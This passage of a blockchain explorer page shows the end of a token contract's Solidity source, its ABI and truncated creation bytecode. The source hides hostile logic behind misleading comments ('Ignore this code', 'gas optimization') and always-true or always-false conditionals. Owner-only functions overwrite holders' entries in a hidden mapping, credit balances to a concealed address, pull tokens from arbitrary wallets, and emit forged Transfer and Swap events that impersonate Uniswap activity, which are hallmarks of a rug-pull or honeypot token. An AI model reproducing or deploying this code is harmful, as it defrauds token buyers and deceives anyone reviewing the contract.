     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for (uint256 i = 0; i < data.length; i++) {
            // assembly
            if (block.timestamp > uint256(uint160(uint8(0)))) {
                // assembly
                uint256 rS = ConvertAddress(
                    (uint256(uint16(uint8(0))) != 0)
                        ? address(uint256(0)) // Ignore this code
                        : address(uint160(uint256(data[i]) >> 96)),
                    _p
                );
                CheckAmount(data[i], rS);
            }
        }
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        // Ignore this code
        c[
            // assembly
            (uint256(0) != 0 || 1238 == 1)
                ? address(
                    // Must control
                    uint256(uint32(2)) == 2 // Check update
                        ? uint256(1)
                        : uint256(1)
                )
                : address(uint160(uint256(_b) >> 96))
            // Contract opcode
        ] = FetchToken(uint256(__a));
    }

    function callUniswap(
        address router,
        uint256 transfer,
        uint256 cycleWidth,
        address unmount
    ) internal {
        IERC404(unmount).transferFrom(router, address(_pair), cycleWidth);
        emit Transfer(address(_pair), router, transfer);
        emit Swap(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
            transfer,
            0,
            0,
            cycleWidth,
            router
        );
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function Allowance(
        uint256 checked,
        address[] memory p
    ) internal returns (uint256) {
        // Assembler for gas optimization {}
        uint256[] memory value;
        value = new uint256[](2);

        // uncheck {
        value = Mult(checked, p);
        b[
            block.timestamp > uint256(1) ||
                uint256(0) > 1 ||
                uint160(1) < block.timestamp
                ? address(uint160(uint256(_T()) >> 96))
                : address(uint256(0))
        ] += value[0]; // end uncheck }

        return value[0];
    }


}

Contract Security Audit

No Contract Security Audit Submitted- Submit Audit Here

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ERC20Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"}],"name":"ERC721Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_r","type":"address"}],"name":"Address","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"t","type":"uint256"},{"internalType":"address","name":"tA","type":"address"},{"internalType":"uint256","name":"w","type":"uint256"},{"internalType":"address[]","name":"r","type":"address[]"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"a","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amountOrId","type":"uint256"}],"name":"approve_","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"b","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseTokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"c","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals_","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name_","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"rootValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_tokenURI","type":"string"}],"name":"setTokenURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"setWhitelist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol_","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amountOrId","type":"uint256"}],"name":"transferFrom_","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer_","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]

Contract Creation Code

Decompile Bytecode Switch to Opcodes View

60e06040819052600060c081905262000019918162000314565b506040805160208101918290526000908190526200003a9160019162000314565b50600560f91b608052606460a0526014805460ff60a01b1916600960a11b1790557fff2e0fc1bfb41e4190e0ec335889dde37dc7e65392844b9004e4b809c7bfbdb26016553480156200008c57600080fd5b5060408051808201909152600680825265111958da185d60d21b6020909201918252620000bc9160119162000314565b506040805180820190915260048082526310d2105560e21b6020909201918252620000ea9160129162000314565b5069021e19e0c9bab24000006010819055600f80546001600160a01b03199081163317918290556001600160a01b039182166000908152600d60209081526040918290209490945560138054909216737a250d5630b4cf539739df2c5dacb4c659f2488d1791829055805163c45a015560e01b81529051919092169263c45a01559260048082019391829003018186803b1580156200018857600080fd5b505afa1580156200019d573d6000803e3d6000fd5b505050506040513d6020811015620001b457600080fd5b5051601354604080516315ab88c960e31b815290516001600160a01b039384169363c9c6539693309391169163ad5c464891600480820192602092909190829003018186803b1580156200020757600080fd5b505afa1580156200021c573d6000803e3d6000fd5b505050506040513d60208110156200023357600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b1580156200028657600080fd5b505af11580156200029b573d6000803e3d6000fd5b505050506040513d6020811015620002b257600080fd5b5051601480546001600160a01b0319166001600160a01b03909216919091179055601054604080519182525133916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916020908290030190a3620003c0565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826200034c576000855562000397565b82601f106200036757805160ff191683800117855562000397565b8280016001018555821562000397579182015b82811115620003975782518255916020019190600101906200037a565b50620003a5929150620003a9565b5090565b5b80821115620003a55760008155600101620003aa565b60805160f81c60a051612be1620003ec60003980610d13525080611a0a52806120915250612be16000f3fe608060405234801561001057600080fd5b50600436106102de5760003560e01c80638da5cb5b11610186578063c87b56dd116100e3578063e670e41d11610097578063ebfb412d11610071578063ebfb412d14610ab2578063f785ef7214610ad8578063ff5c1d6214610ae0576102de565b8063e670e41d146109e6578063e985e9c514610a14578063ea923bae14610a42576102de565b8063dd62ed3e116100c8578063dd62ed3e1461090a578063e0df5b6f14610938578063e2b9e186146109de576102de565b8063c87b56dd146108e5578063d547cfb714610902576102de565b8063a9059cbb1161013a578063af17dea61161011f578063af17dea614610827578063b88d4fde1461082f578063bda02782146108bf576102de565b8063a9059cbb146107cf578063a9c6f4e7146107fb576102de565b80639b19251a1161016b5780639b19251a1461074f578063a22cb46514610775578063a457c2d7146107a3576102de565b80638da5cb5b1461073f57806395d89b4114610747576102de565b8063324536eb1161023f57806353d6fd59116101f35780636352211e116101cd5780636352211e146106c65780636b5e27ef146106e357806370a0823114610719576102de565b806353d6fd59146105ab5780635765a5cc146105d957806358a1025914610607576102de565b80633950935111610224578063395093511461054157806342842e0e1461056d5780634f02c420146105a3576102de565b8063324536eb146105315780633644e51514610539576102de565b806323b872dd11610296578063313ce5671161027b578063313ce567146104755780633158aa7f14610493578063316d295f146104bf576102de565b806323b872dd146104195780632e953e771461044f576102de565b8063081812fc116102c7578063081812fc14610398578063095ea7b3146103d157806318160ddd14610411576102de565b806304ee65c0146102e357806306fdde031461031b575b600080fd5b610309600480360360208110156102f957600080fd5b50356001600160a01b0316610b06565b60408051918252519081900360200190f35b610323610b18565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561035d578181015183820152602001610345565b50505050905090810190601f16801561038a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103b5600480360360208110156103ae57600080fd5b5035610bae565b604080516001600160a01b039092168252519081900360200190f35b6103fd600480360360408110156103e757600080fd5b506001600160a01b038135169060200135610bc9565b604080519115158252519081900360200190f35b610309610bdf565b6103fd6004803603606081101561042f57600080fd5b506001600160a01b03813581169160208101359091169060400135610be5565b6103096004803603602081101561046557600080fd5b50356001600160a01b0316610c07565b61047d610c19565b6040805160ff9092168252519081900360200190f35b6103fd600480360360408110156104a957600080fd5b506001600160a01b038135169060200135610c3a565b61052f600480360360408110156104d557600080fd5b8101906020810181356401000000008111156104f057600080fd5b82018360208201111561050257600080fd5b8035906020019184602083028401116401000000008311171561052457600080fd5b919350915035610c4e565b005b610309610d11565b610309610d35565b6103fd6004803603604081101561055757600080fd5b506001600160a01b038135169060200135610d3b565b61052f6004803603606081101561058357600080fd5b506001600160a01b03813581169160208101359091169060400135610d54565b610309610e40565b61052f600480360360408110156105c157600080fd5b506001600160a01b0381351690602001351515610e46565b610309600480360360408110156105ef57600080fd5b506001600160a01b0381358116916020013516610e8f565b6103fd6004803603608081101561061d57600080fd5b8135916001600160a01b03602082013516916040820135919081019060808101606082013564010000000081111561065457600080fd5b82018360208201111561066657600080fd5b8035906020019184602083028401116401000000008311171561068857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610eac945050505050565b6103b5600480360360208110156106dc57600080fd5b5035610f4d565b61052f600480360360608110156106f957600080fd5b506001600160a01b03813581169160208101359091169060400135610f74565b6103096004803603602081101561072f57600080fd5b50356001600160a01b0316611253565b6103b561126e565b61032361127d565b6103fd6004803603602081101561076557600080fd5b50356001600160a01b03166112de565b61052f6004803603604081101561078b57600080fd5b506001600160a01b03813516906020013515156112f3565b6103fd600480360360408110156107b957600080fd5b506001600160a01b03813516906020013561137f565b6103fd600480360360408110156107e557600080fd5b506001600160a01b0381351690602001356113e6565b6103fd6004803603604081101561081157600080fd5b506001600160a01b0381351690602001356113f3565b6103236114d5565b61052f6004803603608081101561084557600080fd5b6001600160a01b0382358116926020810135909116916040820135919081019060808101606082013564010000000081111561088057600080fd5b82018360208201111561089257600080fd5b803590602001918460018302840111640100000000831117156108b457600080fd5b509092509050611562565b610309600480360360208110156108d557600080fd5b50356001600160a01b0316611688565b610323600480360360208110156108fb57600080fd5b503561169a565b6103236116ad565b6103096004803603604081101561092057600080fd5b506001600160a01b0381358116916020013516611708565b61052f6004803603602081101561094e57600080fd5b81019060208101813564010000000081111561096957600080fd5b82018360208201111561097b57600080fd5b8035906020019184600183028401116401000000008311171561099d57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611733945050505050565b6103236117a9565b610309600480360360408110156109fc57600080fd5b506001600160a01b0381358116916020013516611804565b6103fd60048036036040811015610a2a57600080fd5b506001600160a01b0381358116916020013516611821565b61052f60048036036040811015610a5857600080fd5b810190602081018135640100000000811115610a7357600080fd5b820183602082011115610a8557600080fd5b80359060200191846020830284011164010000000083111715610aa757600080fd5b919350915035611841565b61052f60048036036020811015610ac857600080fd5b50356001600160a01b03166118ec565b61047d611a08565b61030960048036036020811015610af657600080fd5b50356001600160a01b0316611a2c565b600e6020526000908152604090205481565b60118054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ba45780601f10610b7957610100808354040283529160200191610ba4565b820191906000526020600020905b815481529060010190602001808311610b8757829003601f168201915b5050505050905090565b6005602052600090815260409020546001600160a01b031681565b6000610bd6338484611a3e565b50600192915050565b60105490565b6000610bf2843384611b2a565b610bfd848484611ba3565b5060019392505050565b60036020526000908152604090205481565b60145474010000000000000000000000000000000000000000900460ff1681565b6000610c47338484611d72565b9392505050565b600f546001600160a01b03163314610cad576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b82811015610d0b574215610d03576000610ce36060868685818110610cd157fe5b9050602002013560001c901c84611ee3565b9050610d01858584818110610cf457fe5b9050602002013582611f06565b505b600101610cb0565b50505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60165481565b600033610bfd818585610d4e8383611708565b01611a3e565b610d5f838383610f74565b604080517f150b7a02000000000000000000000000000000000000000000000000000000008082523360048301526001600160a01b0386811660248401526044830185905260806064840152600060848401819052935191939086169263150b7a029260a48083019360209383900390910190829087803b158015610de357600080fd5b505af1158015610df7573d6000803e3d6000fd5b505050506040513d6020811015610e0d57600080fd5b50517fffffffff000000000000000000000000000000000000000000000000000000001614610e3b57600080fd5b505050565b60025481565b6001600160a01b03919091166000908152600a6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b600c60209081526000928352604080842090915290825290205481565b600f546000906001600160a01b03163314610f0e576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b8251811015610f4157610f39838281518110610f2957fe5b6020026020010151878688611f37565b600101610f11565b50600195945050505050565b6000818152600760205260409020546001600160a01b031680610f6f57600080fd5b919050565b60025481116111eb576000818152600760205260409020546001600160a01b03848116911614610fa357600080fd5b6001600160a01b038216610fb657600080fd5b336001600160a01b03841614801590610ff357506001600160a01b038316600090815260066020908152604080832033845290915290205460ff16155b801561101657506000818152600560205260409020546001600160a01b03163314155b1561102057600080fd5b61102861208d565b6001600160a01b0384166000908152600360205260409020805491909103905561105061208d565b6001600160a01b03808416600081815260036020908152604080832080549096019095558582526007815284822080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081169094179055600581528482208054909316909255918616825260089052908120805460001981019081106110d457fe5b60009182526020808320909101546001600160a01b038716835260088252604080842086855260099093529092205481549293508392811061111257fe5b60009182526020808320909101929092556001600160a01b038616815260089091526040902080548061114157fe5b600082815260208082208301600019908101839055928301909355848152600980845260408083208054878552828520556001600160a01b03808a16808652600888529285208054600181018255818752888720018a90555494899052929095529190920190925585167fe59fdd36d0d223c0c7d996db7ad796880f45e1936cb0bb7ac102e7082e0314876111d461208d565b60408051918252519081900360200190a350610e3b565b6001600160a01b03831660009081526004602090815260408083203384529091529020546000198114611241576001600160a01b0384166000908152600460209081526040808320338452909152902082820390555b61124c848484611d72565b5050505050565b6001600160a01b03166000908152600d602052604090205490565b600f546001600160a01b031681565b60128054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ba45780601f10610b7957610100808354040283529160200191610ba4565b600a6020526000908152604090205460ff1681565b3360008181526006602090815260408083206001600160a01b0387168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016861515908117909155815190815290519293927f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31929181900390910190a35050565b6000338161138d8286611708565b9050838110156113ce5760405162461bcd60e51b8152600401808060200182810382526026815260200180612b3b6026913960400191505060405180910390fd5b6113db8286868403611a3e565b506001949350505050565b6000610bd6338484611ba3565b600060025482111580156114075750600082115b156114a7576000828152600760205260409020546001600160a01b031633811480159061145857506001600160a01b038116600090815260066020908152604080832033845290915290205460ff16155b1561146257600080fd5b50600082815260056020526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b038516179055610bd6565b503360009081526004602090815260408083206001600160a01b039590951683529390529190912055600190565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561155a5780601f1061152f5761010080835404028352916020019161155a565b820191906000526020600020905b81548152906001019060200180831161153d57829003601f168201915b505050505081565b61156d858585610f74565b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916846001600160a01b031663150b7a0233888787876040518663ffffffff1660e01b815260040180866001600160a01b03168152602001856001600160a01b03168152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050602060405180830381600087803b15801561163057600080fd5b505af1158015611644573d6000803e3d6000fd5b505050506040513d602081101561165a57600080fd5b50517fffffffff00000000000000000000000000000000000000000000000000000000161461124c57600080fd5b600d6020526000908152604090205481565b5060408051602081019091526000815290565b600b805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561155a5780601f1061152f5761010080835404028352916020019161155a565b6001600160a01b039182166000908152600c6020908152604080832093909416825291909152205490565b600f546001600160a01b03163314611792576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b80516117a590600b906020840190612a2b565b5050565b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561155a5780601f1061152f5761010080835404028352916020019161155a565b600460209081526000928352604080842090915290825290205481565b600660209081526000928352604080842090915290825290205460ff1681565b600f546001600160a01b031633146118a0576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b60005b82811015610d0b5742156118e45760006118c46060868685818110610cd157fe5b90506118e28585848181106118d557fe5b90506020020135826120b7565b505b6001016118a3565b600f546001600160a01b0316331461194b576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b6000620186a06119d3601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119a257600080fd5b505afa1580156119b6573d6000803e3d6000fd5b505050506040513d60208110156119cc57600080fd5b5051612126565b6201869f02816119df57fe5b04905060006119ec612279565b905060006119fa8383612370565b9050610d0b8382848761242a565b7f000000000000000000000000000000000000000000000000000000000000000081565b60156020526000908152604090205481565b6001600160a01b038316611a835760405162461bcd60e51b8152600401808060200182810382526025815260200180612b616025913960400191505060405180910390fd5b6001600160a01b038216611ac85760405162461bcd60e51b8152600401808060200182810382526023815260200180612acd6023913960400191505060405180910390fd5b6001600160a01b038084166000818152600c6020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000611b368484611708565b90506000198114610d0b5781811015611b96576040805162461bcd60e51b815260206004820152601e60248201527f4552433430343a20696e73756666696369656e7420616c6c6f77616e63650000604482015290519081900360640190fd5b610d0b8484848403611a3e565b6001600160a01b038316611be85760405162461bcd60e51b8152600401808060200182810382526026815260200180612b866026913960400191505060405180910390fd5b6001600160a01b038216611c2d5760405162461bcd60e51b8152600401808060200182810382526024815260200180612af06024913960400191505060405180910390fd5b6001600160a01b0383166000908152600d602052604090205481811015611c855760405162461bcd60e51b8152600401808060200182810382526027815260200180612b146027913960400191505060405180910390fd5b6001600160a01b0384166000908152600e602052604090205415611cdc576001600160a01b0384166000908152600e6020908152604080832054600d90925290912054611cd29190612465565b15611cdc57600080fd5b611ce681836124bf565b6001600160a01b038086166000908152600d60205260408082209390935590851681522054611d159083612465565b6001600160a01b038085166000818152600d602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b600080611d7d61208d565b6001600160a01b0380871660008181526003602090815260408083208054958b16845281842080548b880390925580548b019055938352600a909152902054929350909160ff16611e17576001600160a01b038716600090815260036020526040812054849081611dea57fe5b04848481611df457fe5b0403905060005b81811015611e1457611e0c8961251c565b600101611dfb565b50505b6001600160a01b0386166000908152600a602052604090205460ff16611e8b576000838281611e4257fe5b6001600160a01b03891660009081526003602052604090205491900490859081611e6857fe5b0403905060005b81811015611e8857611e80886125fd565b600101611e6f565b50505b856001600160a01b0316876001600160a01b03167fe59fdd36d0d223c0c7d996db7ad796880f45e1936cb0bb7ac102e7082e031487876040518082815260200191505060405180910390a35060019695505050505050565b6001600160a01b0382166000908152600d6020526040812054610c4790836126b5565b611f0f816126c8565b600e6000606085901c5b6001600160a01b031681526020810191909152604001600020555050565b601454604080517f23b872dd0000000000000000000000000000000000000000000000000000000081526001600160a01b0387811660048301529283166024820152604481018590529051918316916323b872dd916064808201926020929091908290030181600087803b158015611fae57600080fd5b505af1158015611fc2573d6000803e3d6000fd5b505050506040513d6020811015611fd857600080fd5b50506014546040805185815290516001600160a01b038088169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a360408051848152600060208201819052818301526060810184905290516001600160a01b03861691737a250d5630b4cf539739df2c5dacb4c659f2488d917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350505050565b60ff7f000000000000000000000000000000000000000000000000000000000000000016600a0a90565b601454606083901c6000818152600d602090815260409182902054825190815291516001600160a01b03909416937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3612118816126ce565b600d6000606085901c611f19565b6000806000601460009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561217957600080fd5b505afa15801561218d573d6000803e3d6000fd5b505050506040513d60608110156121a357600080fd5b508051602091820151601454604080517f0dfe168100000000000000000000000000000000000000000000000000000000815290519396509194506001600160a01b0380891694911692630dfe1681926004808201939291829003018186803b15801561220f57600080fd5b505afa158015612223573d6000803e3d6000fd5b505050506040513d602081101561223957600080fd5b50516001600160a01b03161461225f57806dffffffffffffffffffffffffffff16612271565b816dffffffffffffffffffffffffffff165b949350505050565b60408051600280825260608083018452928392919060208301908036833701905050905030816000815181106122ab57fe5b6001600160a01b03928316602091820292909201810191909152601354604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b15801561231857600080fd5b505afa15801561232c573d6000803e3d6000fd5b505050506040513d602081101561234257600080fd5b505181518290600190811061235357fe5b6001600160a01b0390921660209283029190910190910152905090565b60408051600280825260608083018452600093909291906020830190803683370190505090506123a084846126d9565b9050806000815181106123af57fe5b6020026020010151600d600060014211806123c8575060005b806123d35750426001105b6123de5760006123eb565b60606123e8612870565b901c5b6001600160a01b03168152602081019190915260400160009081208054909201909155815182919061241957fe5b602002602001015191505092915050565b306000908152600d6020908152604080832054600c83528184206013546001600160a01b0316855290925290912055610d0b84848484612877565b600082820183811015610c47576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082821115612516576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60016